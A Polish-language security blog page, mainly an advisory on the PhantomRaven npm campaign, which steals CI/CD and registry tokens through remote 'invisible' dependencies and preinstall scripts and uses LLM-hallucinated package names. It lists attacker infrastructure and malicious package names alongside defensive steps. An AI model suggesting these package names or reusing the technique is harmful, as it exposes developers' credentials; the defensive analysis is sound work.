CVE – Kompleksowy Przewodnik Po Lukach Bezpieczeństwa

Co to jest CVE (Common Vulnerabilities and Exposures)?

CVE (Common Vulnerabilities and Exposures) to międzynarodowy standard nazewnictwa publicznie znanych luk bezpieczeństwa w oprogramowaniu i sprzęcie. Mówiąc prościej, jest to lista unikatowych identyfikatorów podatności oraz związany z nią system ich katalogowania. Dzięki CVE specjaliści ds. cyberbezpieczeństwa na całym świecie mogą mówić jednym językiem o konkretnych lukach – niezależnie od platformy czy producenta.

Czytaj dalej „CVE – Kompleksowy Przewodnik Po Lukach Bezpieczeństwa”

PhantomRaven zalewa npm pakietami kradnącymi dane logowania. Co wiemy i jak się bronić

Wprowadzenie do problemu / definicja luki

Aktywna kampania PhantomRaven celuje w programistów ekosystemu JavaScript, publikując dziesiątki złośliwych paczek w rejestrze npm. Ich celem jest kradzież tokenów uwierzytelniających (npm, GitHub Actions, GitLab, Jenkins, CircleCI), sekretów CI/CD oraz poświadczeń do repozytoriów, co otwiera drogę do wtórnych ataków na łańcuch dostaw oprogramowania. Kampania rozpoczęła się w sierpniu 2025 r., obejmuje 126 paczek i przekroczyła 86 000 pobrań. Zidentyfikowali ją badacze Koi Security; część paczek w momencie publikacji raportów była wciąż dostępna w npm.

W skrócie

  • Skala: 126 złośliwych paczek, >86 000 pobrań (sierpień–październik 2025).
  • Technika ukrycia: Remote Dynamic Dependencies (RDD) – paczki deklarują 0 zależności, a właściwy ładunek dociągają z zewnętrznego serwera podczas npm install.
  • Egzekucja: wykorzystanie skryptów lifecycle (np. preinstall) do automatycznego uruchomienia payloadu bez interakcji użytkownika.
  • Kradzione dane: tokeny npm/GitHub/GitLab/Jenkins/CircleCI, fingerprinting systemu i środowiska CI/CD, adresy e-mail.
  • Exfiltracja: redundancja kanałów (HTTP GET z danymi w URL, HTTP POST/JSON, WebSocket).
  • Socjotechnika nazw: slopsquatting – wykorzystywanie halucynacji LLM do rejestrowania nieistniejących, lecz „wiarygodnie brzmiących” nazw paczek.

Kontekst / historia / powiązania

Ukrywanie złośliwego kodu w pakietach open source nie jest nowe, jednak PhantomRaven łączy kilka trendów: nadużycie rzadko używanej funkcji npm (URL-owe specyfikatory zależności), automatyczne skrypty instalacyjne i LLM-asystowanych rekomendacji paczek. Media branżowe opisują to jako ataki z „niewidzialnymi zależnościami”, które omijają statyczne skanery rejestrów i klasyczne analizatory SBOM.

Analiza techniczna / szczegóły luki

Remote Dynamic Dependencies (RDD)

Zamiast standardowych wpisów w "dependencies", złośliwe paczki wskazują HTTP URL (np. http://packages.storeartifact.com/...). Taki komponent nie znajduje się w npmjs.com, więc wiele narzędzi SCA/SAST go nie analizuje – interfejs npm pokazuje „0 dependencies”, co uśpiwa czujność. Podczas npm install pobierany jest zdalny pakiet, który zawiera preinstall uruchamiający złośliwy kod.

Łańcuch ataku

  1. Deweloper instaluje pozornie czystą paczkę z npm.
  2. Npm dociąga „niewidzialną” zależność z kontrolowanego przez atakującego hosta.
  3. Skrypt preinstall uruchamia się automatycznie, bez pytań.
  4. Malware wykonuje profilowanie systemu, enumerację e-maili i zbieranie sekretów CI/CD.
  5. Dane są eksfiltrowane wieloma kanałami (GET/POST/WebSocket).

Cele i techniki zbierania danych

  • Tokeny: npm, GitHub Actions, GitLab CI, Jenkins, CircleCI.
  • Fingerprinting: IP publiczny i lokalny, hostname, OS, wersja Node.js, bieżący katalog.
  • Artefakty identyfikacyjne: adresy e-mail z env, .gitconfig, .npmrc, package.json.

Infrastruktura i IoC

  • Domena/C2: packages.storeartifact.com
  • IP: 54.173.15.59
  • Endpoint exfiltracyjny: jpd.php
  • Wzorce kont/e-maili publikujących: jpdtester0X@..., m.in. jpdtester07@outlook[.]com, jpdtester12@gmail[.]com itd.
  • Przykładowe nazwy paczek: unused-imports, eslint-comments, transform-react-remove-prop-types, @gitlab-lsp/*, artifactregistry-login, crowdstrike, react-async-component-lifecycle-hooks, syntax-dynamic-import i wiele innych (pełna lista w raporcie Koi).

Slopsquatting (LLM-assisted naming)

Atakujący rejestrują nieistniejące wcześniej, lecz „wiarygodne” nazwy, które LLM potrafią podpowiadać jako rzekomo właściwe („unused-imports” vs. prawidłowe eslint-plugin-unused-imports, itp.). To omija proste reguły typosquattingu i zwiększa skuteczność socjotechniki wobec developerów polegających na asystentach AI.

Praktyczne konsekwencje / ryzyko

  • Przejęcie pipeline’ów i możliwość dorzucenia złośliwych commitów/releasów (supply-chain).
  • Kradzież sekretów skutkująca lateral movement do chmur, rejestrów artefaktów i środowisk produkcyjnych.
  • Trudna detekcja w klasycznych skanerach – ładunek nie jest obecny w artefakcie z npm, a zależności wyglądają na puste.

Rekomendacje operacyjne / co zrobić teraz

Natychmiastowa reakcja (IR):

  1. Blokada IoC: zablokuj packages.storeartifact.com i powiązane IP na egressie; monitoruj ruch HTTP/WS do niezatwierdzonych hostów.
  2. Hunting: przeszukaj logi o instalacjach paczek z listy Koi; sprawdź wywołania npm install z nietypowymi URL-ami w package.json/package-lock.json.
  3. Rotacja sekretów: unieważnij tokeny npm/GitHub/GitLab/Jenkins/CircleCI, klucze API i hasła; wymuś ponowną autoryzację runnerów/agentów.
  4. Przegląd repozytoriów: audit ostatnich commitów/tagów/CI workflows pod kątem nieautoryzowanych zmian.

Twardnienie (hardening) na przyszłość:

  • Wyłącz skrypty lifecycle podczas CI: uruchamiaj npm ci z --ignore-scripts (lub npm config set ignore-scripts true w pipeline’ach, a w razie potrzeby whitelistuj pojedyncze przypadki). Uzupełnij o izolację sieciową stepów instalacyjnych. (Zasada wynika z analizy mechanizmu preinstall.)
  • Blokada zależności z URL: polityki DevSecOps/SCA powinny odrzucać HTTP(S) dependencies w package.json. Monitoruj PR-y pod kątem zmian w sekcji dependencies/scripts.
  • Wymuś 2FA i OIDC-based tokens dla dostępu do rejestrów/kont CI/CD; minimalne uprawnienia i krótkie TTL tokenów.
  • SBOM + detekcja behawioralna: klasyczny SBOM nie pokaże RDD; uzupełnij go o dynamiczną analizę instalacji (wykrywanie połączeń sieciowych podczas npm install).
  • Repozytoria lustrzane/air-gap: rozważ wewnętrzne mirrorowanie uznanych paczek i blokadę instalacji z internetu w CI (allowlist).
  • Edukacja dot. LLM: wprowadź guideline’y nt. weryfikacji nazw paczek sugerowanych przez AI; wymagaj sprawdzenia istnienia i reputacji projektu.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Klasyczny typosquatting: złośliwy kod siedzi w paczce na rejestrze; tutaj kod jest poza rejestrem (RDD), więc omija wiele skanerów.
  • Kampanie 2023–2025 (npm/PyPI) nierzadko używały postinstall do exfiltracji; PhantomRaven dodaje „niewidzialne” zależności i slopsquatting, co utrudnia detekcję i zwiększa skuteczność dystrybucji.

Podsumowanie / kluczowe wnioski

PhantomRaven pokazuje, jak łatwo połączyć niszowe funkcje npm, automatyczne skrypty instalacyjne i błędy poznawcze (zaufanie do LLM) w skuteczny atak na łańcuch dostaw. Krytyczne są: blokada HTTP-owych zależności, wyłączenie skryptów lifecycle w CI, rotacja i krótkie TTL tokenów, monitoring ruchu podczas instalacji oraz dyscyplina weryfikacji paczek – szczególnie tych „poleconych” przez asystentów AI.

Źródła / bibliografia

  1. BleepingComputer — PhantomRaven attack floods npm with credential-stealing packages (29 paź 2025). (BleepingComputer)
  2. Koi Security — PhantomRaven: NPM Malware Hidden in Invisible Dependencies (paź 2025) — szczegóły RDD, IoC i lista paczek. (Koi)
  3. Dark Reading — Malicious NPM Packages Disguised With ‘Invisible’ Dependencies (29 paź 2025) — omówienie techniki i kontekstu. (SCM Demo)
  4. Phylum — Sensitive Data Exfiltration Campaign Targets npm and PyPI (26 wrz 2023) — wcześniejsze, pokrewne kampanie exfiltracyjne. (blog.phylum.io)

GVM (Greenbone Vulnerability Management) – Kompletny Przewodnik

Czym jest GVM? Słyszałeś o OpenVas?

Greenbone Vulnerability Management (GVM) to otwartoźródłowy pakiet narzędzi do skanowania i zarządzania podatnościami w sieciach komputerowych. Projekt ten narodził się jako OpenVAS (Open Vulnerability Assessment System) – pierwotnie sam skaner podatności wywodzący się z otwartej wersji Nessusa. Z czasem firma Greenbone rozbudowała go o dodatkowe komponenty (zarządzanie wynikami, bazę danych, interfejs WWW) i przemianowała cały ekosystem na GVM, począwszy od wersji po OpenVAS 9.

Czytaj dalej „GVM (Greenbone Vulnerability Management) – Kompletny Przewodnik”